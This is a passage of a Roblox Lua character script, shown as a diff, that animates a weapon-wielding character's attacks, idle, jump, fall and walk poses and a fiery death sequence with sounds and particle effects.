4496 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) | |
4497 | for i=0,1,0.1 do | |
4498 | swait() | |
4499 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4500 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4501 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4502 | Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) | |
4503 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4504 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4505 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4506 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5) | |
4507 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4508 | end | |
4509 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4510 | for i=0,1,0.1 do | |
4511 | swait() | |
4512 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4513 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4514 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4515 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4516 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4517 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4518 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4519 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4520 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4521 | ||
4522 | end | |
4523 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) | |
4524 | for i=0,1,0.1 do | |
4525 | swait() | |
4526 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4527 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4528 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4529 | Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) | |
4530 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4531 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4532 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4533 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3) | |
4534 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4535 | end | |
4536 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4537 | for i=0,1,0.1 do | |
4538 | swait() | |
4539 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4540 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4541 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4542 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4543 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4544 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4545 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4546 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4547 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4548 | end | |
4549 | --dmgstop() | |
4550 | Humanoid.WalkSpeed=12 | |
4551 | attack=false | |
4552 | end | |
4553 | ||
4554 | function Die() | |
4555 | attack=true | |
4556 | Footsteps:Stop() | |
4557 | Footsteps2:Stop() | |
4558 | local Fire = it("Sound",Character.Torso) | |
4559 | Fire.SoundId = "rbxassetid://192104941" | |
4560 | Fire.Looped = true | |
4561 | Fire.Pitch = 1 | |
4562 | Fire.Volume = 1 | |
4563 | local Fire2 = it("Sound",Handle2) | |
4564 | Fire2.SoundId = "rbxassetid://192104941" | |
4565 | Fire2.Looped = true | |
4566 | Fire2.Pitch = 1 | |
4567 | Fire2.Volume = 1 | |
4568 | local Fire3 = it("Sound",Handle) | |
4569 | Fire3.SoundId = "rbxassetid://192104941" | |
4570 | Fire3.Looped = true | |
4571 | Fire3.Pitch = 1 | |
4572 | Fire3.Volume = 1 | |
4573 | local Fire4 = it("Sound",handle) | |
4574 | Fire4.SoundId = "rbxassetid://192104941" | |
4575 | Fire4.Looped = true | |
4576 | Fire4.Pitch = 1 | |
4577 | Fire4.Volume = 1 | |
4578 | local fire = Instance.new("ParticleEmitter", Character.Torso) | |
4579 | fire.Lifetime = NumberRange.new(0.5) | |
4580 | fire.Speed = NumberRange.new(1, 3) | |
4581 | fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) | |
4582 | fire.Rate = 0 | |
4583 | fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4584 | fire.LightEmission = 0.6 | |
4585 | fire.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4586 | fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4587 | local fire2 = Instance.new("ParticleEmitter", Handle) | |
4588 | fire2.Lifetime = NumberRange.new(0.5) | |
4589 | fire2.Speed = NumberRange.new(1, 3) | |
4590 | fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) | |
4591 | fire2.Rate = 0 | |
4592 | fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4593 | fire2.LightEmission = 0.6 | |
4594 | fire2.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4595 | fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4596 | local fire3 = Instance.new("ParticleEmitter", Handle2) | |
4597 | fire3.Lifetime = NumberRange.new(0.5) | |
4598 | fire3.Speed = NumberRange.new(1, 3) | |
4599 | fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) | |
4600 | fire3.Rate = 0 | |
4601 | fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4602 | fire3.LightEmission = 0.6 | |
4603 | fire3.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4604 | fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4605 | local fire4 = Instance.new("ParticleEmitter", handle) | |
4606 | fire4.Lifetime = NumberRange.new(0.5) | |
4607 | fire4.Speed = NumberRange.new(1, 3) | |
4608 | fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) | |
4609 | fire4.Rate = 0 | |
4610 | fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4611 | fire4.LightEmission = 0.6 | |
4612 | - | so("http://www.roblox.com/asset/?id=209527203",Head,1,1) |
4612 | + | |
4613 | fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4614 | Humanoid.WalkSpeed = 0 | |
4615 | so("http://www.roblox.com/asset/?id=199149297",Head,1,1) | |
4616 | so("http://www.roblox.com/asset/?id=0",Head,1,1) | |
4617 | for i=0,1,0.08 do | |
4618 | swait() | |
4619 | Torso.Velocity=RootPart.CFrame.lookVector*-30 | |
4620 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2) | |
4621 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2) | |
4622 | handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4623 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4624 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4625 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2) | |
4626 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2) | |
4627 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) | |
4628 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) | |
4629 | end | |
4630 | for i=0,1,0.005 do | |
4631 | swait() | |
4632 | light.Range=15-10*i | |
4633 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4634 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4635 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4636 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4637 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4638 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4639 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4640 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4641 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4642 | end | |
4643 | light.Range=0 | |
4644 | for i=0,1,0.01 do | |
4645 | swait() | |
4646 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4647 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4648 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4649 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4650 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4651 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4652 | - | so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9) |
4652 | + | |
4653 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4654 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4655 | end | |
4656 | so("http://www.roblox.com/asset/?id=0",Head,1,0.9) | |
4657 | fire.Rate = 1000 | |
4658 | fire2.Rate = 1000 | |
4659 | fire3.Rate = 1000 | |
4660 | fire4.Rate = 1000 | |
4661 | Fire:Play() | |
4662 | Fire2:Play() | |
4663 | Fire3:Play() | |
4664 | Fire4:Play() | |
4665 | for i=0,1,0.005 do | |
4666 | swait() | |
4667 | Character.Head.face.Transparency = 0+1*i | |
4668 | LeftArm.Transparency=0+1*i | |
4669 | RightArm.Transparency=0+1*i | |
4670 | LeftLeg.Transparency=0+1*i | |
4671 | RightLeg.Transparency=0+1*i | |
4672 | Head.Transparency=0+1*i | |
4673 | Torso.Transparency=0+1*i | |
4674 | for _,v in pairs(Character:children()) do | |
4675 | if v:IsA("Hat") then | |
4676 | v.Handle.Transparency = 0+1*i | |
4677 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4678 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4679 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4680 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4681 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4682 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4683 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4684 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4685 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4686 | end | |
4687 | end | |
4688 | --dmgstop() | |
4689 | end | |
4690 | Humanoid.Health = math.huge + 99999999 | |
4691 | end | |
4692 | ||
4693 | equipanim() | |
4694 | ||
4695 | local sine = 0 | |
4696 | local change = 1 | |
4697 | local val = 0 | |
4698 | ||
4699 | local mananum=0 | |
4700 | while true do | |
4701 | swait() | |
4702 | sine = sine + change | |
4703 | local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude | |
4704 | local velderp=RootPart.Velocity.y | |
4705 | hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character) | |
4706 | if equipped==true or equipped==false then | |
4707 | if Anim=="Idle" and attack==false then | |
4708 | idle=idle+1 | |
4709 | else | |
4710 | idle=0 | |
4711 | end | |
4712 | if Humanoid.Health <=20 then | |
4713 | if attack == false then | |
4714 | Humanoid.Health = math.huge + 99999999 | |
4715 | Die() | |
4716 | end | |
4717 | end | |
4718 | if idle>=1000 then | |
4719 | if attack==false then | |
4720 | --Sheath() | |
4721 | end | |
4722 | end | |
4723 | if RootPart.Velocity.y > 1 and hitfloor==nil then | |
4724 | Anim="Jump" | |
4725 | if attack==false then | |
4726 | Footsteps:Stop() | |
4727 | Footsteps2:Stop() | |
4728 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3) | |
4729 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4730 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3) | |
4731 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3) | |
4732 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4733 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3) | |
4734 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4735 | RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
4736 | LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
4737 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) | |
4738 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4739 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4740 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4741 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4742 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4743 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4744 | end | |
4745 | elseif RootPart.Velocity.y < -1 and hitfloor==nil then | |
4746 | Anim="Fall" | |
4747 | if attack==false then | |
4748 | Footsteps:Stop() | |
4749 | Footsteps2:Stop() | |
4750 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
4751 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4752 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
4753 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
4754 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4755 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
4756 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4757 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
4758 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
4759 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4760 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
4761 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
4762 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4763 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4764 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4765 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4766 | end | |
4767 | elseif torvel<1 and hitfloor~=nil then | |
4768 | Anim="Idle" | |
4769 | change=0.5 | |
4770 | if idle>=1000 then | |
4771 | if attack==false then | |
4772 | Footsteps:Stop() | |
4773 | Footsteps2:Stop() | |
4774 | Humanoid.WalkSpeed=12 | |
4775 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1) | |
4776 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1) | |
4777 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
4778 | RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5) | |
4779 | LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5) | |
4780 | RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1) | |
4781 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3) | |
4782 | handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3) | |
4783 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) | |
4784 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) | |
4785 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4786 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4787 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4788 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4789 | end | |
4790 | else | |
4791 | if attack==false then | |
4792 | Footsteps:Stop() | |
4793 | Footsteps2:Stop() | |
4794 | Humanoid.WalkSpeed=12 | |
4795 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1) | |
4796 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-25-2*math.cos(sine/5.5)),math.rad(-10)),.1) | |
4797 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
4798 | RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5) | |
4799 | LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(45)),.5) | |
4800 | RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1) | |
4801 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3) | |
4802 | handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2) | |
4803 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) | |
4804 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) | |
4805 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4806 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4807 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4808 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4809 | end | |
4810 | end | |
4811 | elseif torvel>2 and torvel<22 and hitfloor~=nil then | |
4812 | Anim="Walk" | |
4813 | if attack==false then | |
4814 | change=0.8 | |
4815 | --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3) | |
4816 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3) | |
4817 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
4818 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
4819 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3) | |
4820 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3) | |
4821 | --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4822 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
